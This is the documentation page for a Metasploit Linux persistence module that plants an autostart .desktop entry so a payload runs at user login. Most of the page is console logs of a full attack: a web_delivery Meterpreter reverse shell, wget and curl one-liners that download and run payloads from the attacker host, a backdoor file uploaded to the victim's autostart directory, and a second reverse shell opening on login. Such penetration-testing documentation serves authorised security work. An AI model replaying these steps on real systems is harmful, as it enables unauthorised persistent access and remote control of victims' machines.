h00die
118 lines
4.5 KiB
Markdown
118 lines
4.5 KiB
Markdown
## Vulnerable Application
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This module will create an autostart `.desktop` entry to execute a payload.
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The payload will be executed when the users logs in.
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Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3.
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The following payloads were used in testing:
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- `cmd/unix/reverse_netcat`
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- `linux/x64/meterpreter/reverse_tcp`
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- `cmd/linux/http/x64/meterpreter/reverse_tcp`
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## Verification Steps
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1. Exploit a box
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2. `use exploit/linux/persistence/autostart`
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3. `set SESSION <id>`
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4. `exploit`
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When the victim logs in, your payload will be executed!
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## Options
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### BACKDOOR_NAME
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Name of autostart entry. Defaults to a randomly generated name
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### PAYLOAD_NAME
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Name of the payload file to write. Defaults to a randomly generated name
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### USER
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User to target, or current user if blank
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## Scenarios
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### Ubuntu 18.04.3
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Initial access vector via web delivery
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```
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[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
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resource (/root/.msf4/msfconsole.rc)> setg verbose true
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verbose => true
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resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
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lhost => 111.111.1.111
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resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
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[*] Using configured payload python/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set srvport 8181
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srvport => 8181
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resource (/root/.msf4/msfconsole.rc)> set target 7
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target => 7
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resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
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payload => linux/x64/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set lport 4545
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lport => 4545
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resource (/root/.msf4/msfconsole.rc)> set URIPATH l
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URIPATH => l
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resource (/root/.msf4/msfconsole.rc)> run
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[*] Exploit running as background job 0.
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[*] Exploit completed, but no session was created.
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[*] Starting persistent handler(s)...
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[*] Started reverse TCP handler on 111.111.1.111:4545
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[*] Using URL: http://111.111.1.111:8181/l
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[*] Server started.
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[*] Run the following command on the target machine:
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wget -qO FWdHRs3A --no-check-certificate http://111.111.1.111:8181/l; chmod +x FWdHRs3A; ./FWdHRs3A& disown
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[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] 222.222.2.222 web_delivery - Delivering Payload (250 bytes)
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[*] Transmitting intermediate stager...(126 bytes)
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[*] Sending stage (3045380 bytes) to 222.222.2.222
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[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:57884) at 2025-02-06 17:03:03 -0500
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[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
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[*] Starting interaction with 1...
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(Meterpreter 1)(/tmp) > sysinfo
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Computer : ubuntu18desktop.local
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OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
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Architecture : x64
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BuildTuple : x86_64-linux-musl
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Meterpreter : x64/linux
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(Meterpreter 1)(/tmp) > background
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[*] Backgrounding session 1...
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```
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Persistence
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```
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[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/autostart
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[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
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[msf](Jobs:1 Agents:1) exploit(linux/persistence/autostart) > set session 1
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session => 1
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[msf](Jobs:1 Agents:1) exploit(linux/persistence/autostart) > exploit
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[*] Command to run on remote host: curl -so ./xcsqfBQnCfcm http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./xcsqfBQnCfcm;./xcsqfBQnCfcm&
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[*] Exploit running as background job 1.
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[*] Exploit completed, but no session was created.
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[msf](Jobs:2 Agents:1) exploit(linux/persistence/autostart) >
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[*] Fetch handler listening on 111.111.1.111:8080
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[*] HTTP server started
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[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
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[*] Started reverse TCP handler on 111.111.1.111:4444
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[*] Running automatic check ("set AutoCheck false" to disable)
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[!] The service is running, but could not be validated. Xorg is installed, possible desktop install.
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[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
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[*] Making sure the autostart directory exists
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[*] Uploading autostart file /home/ubuntu/.config/autostart/bHOXeW.desktop
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[+] Backdoor will run on next login by ubuntu
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[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250206.0326/ubuntu18desktop.local_20250206.0326.rc
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[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
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```
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Login via gui
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```
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[*] Sending payload to 222.222.2.222 (curl/7.58.0)
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[*] Transmitting intermediate stager...(126 bytes)
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[*] Sending stage (3045380 bytes) to 222.222.2.222
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[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:44316) at 2025-02-06 17:03:50 -0500
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[msf](Jobs:2 Agents:2) exploit(linux/persistence/autostart) >
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``` |